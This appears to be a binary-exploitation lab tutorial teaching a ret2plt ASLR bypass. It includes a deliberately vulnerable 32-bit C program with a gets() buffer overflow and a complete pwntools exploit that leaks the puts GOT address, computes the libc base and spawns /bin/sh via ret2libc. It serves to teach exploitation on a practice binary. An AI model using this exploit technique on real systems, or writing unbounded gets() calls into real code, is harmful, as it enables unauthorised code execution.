ret2plt ASLR bypass

Overview

This time around, there's no leak. You'll have to use the ret2plt technique explained previously. Feel free to have a go before looking further on.
ret2plt.zip
3KB
Binary
ret2plt - 32-bit
1
#include <stdio.h>
2
3
void vuln() {
4
puts("Come get me");
5
6
char buffer[20];
7
gets(buffer);
8
}
9
10
int main() {
11
vuln();
12
13
return 0;
14
}
Copied!

Analysis

We're going to have to leak ASLR base somehow, and the only logical way is a ret2plt. We're not struggling for space as gets() takes in as much data as we want.

Exploitation

All the basic setup
1
from pwn import *
2
3
elf = context.binary = ELF('./vuln-32')
4
libc = elf.libc
5
p = process()
Copied!
Now we want to send a payload that leaks the real address of puts. As mentioned before, calling the PLT entry of a function is the same as calling the function itself; if we point the parameter to the GOT entry, it'll print out it's actual location. This is because in C string arguments for functions actually take a pointer to where the string can be found, so pointing it to the GOT entry (which we know the location of) will print it out.
1
p.recvline() # just receive the first output
2
3
payload = flat(
4
'A' * 32,
5
elf.plt['puts'],
6
elf.sym['main'],
7
elf.got['puts']
8
)
Copied!
But why is there a main there? Well, if we set the return address to random jargon, we'll leak libc base but then it'll crash; if we call main again, however, we essentially restart the binary - except we now know libc base so this time around we can do a ret2libc.
1
p.sendline(payload)
2
3
puts_leak = u32(p.recv(4))
4
p.recvlines(2)
Copied!
Remember that the GOT entry won't be the only thing printed - puts, and most functions in C, print until a null byte. This means it will keep on printing GOT addresses, but the only one we care about is the first one, so we grab the first 4 bytes and use u32() to interpret them as a little-endian number. After that we ignore the the rest of the values as well as the Come get me from calling main again.
From here, we simply calculate libc base again and perform a basic ret2libc:
1
libc.address = puts_leak - libc.sym['puts']
2
log.success(f'LIBC base: {hex(libc.address)}')
3
4
payload = flat(
5
'A' * 32,
6
libc.sym['system'],
7
libc.sym['exit'], # exit is not required here, it's just nicer
8
next(libc.search(b'/bin/sh\x00'))
9
)
10
11
p.sendline(payload)
12
13
p.interactive()
Copied!
And bingo, we have a shell!

Final Exploit

1
from pwn import *
2
3
elf = context.binary = ELF('./vuln-32')
4
libc = elf.libc
5
p = process()
6
7
p.recvline()
8
9
payload = flat(
10
'A' * 32,
11
elf.plt['puts'],
12
elf.sym['main'],
13
elf.got['puts']
14
)
15
16
p.sendline(payload)
17
18
puts_leak = u32(p.recv(4))
19
p.recvlines(2)
20
21
libc.address = puts_leak - libc.sym['puts']
22
log.success(f'LIBC base: {hex(libc.address)}')
23
24
payload = flat(
25
'A' * 32,
26
libc.sym['system'],
27
libc.sym['exit'],
28
next(libc.search(b'/bin/sh\x00'))
29
)
30
31
p.sendline(payload)
32
33
p.interactive()
Copied!

64-bit

You know the drill - try the same thing for 64-bit. If you want, you can use pwntools' ROP capabilities - or, to make sure you understand calling conventions, be daring and do both :P
ret2plt-64.zip
3KB
Binary
ret2plt - 64-bit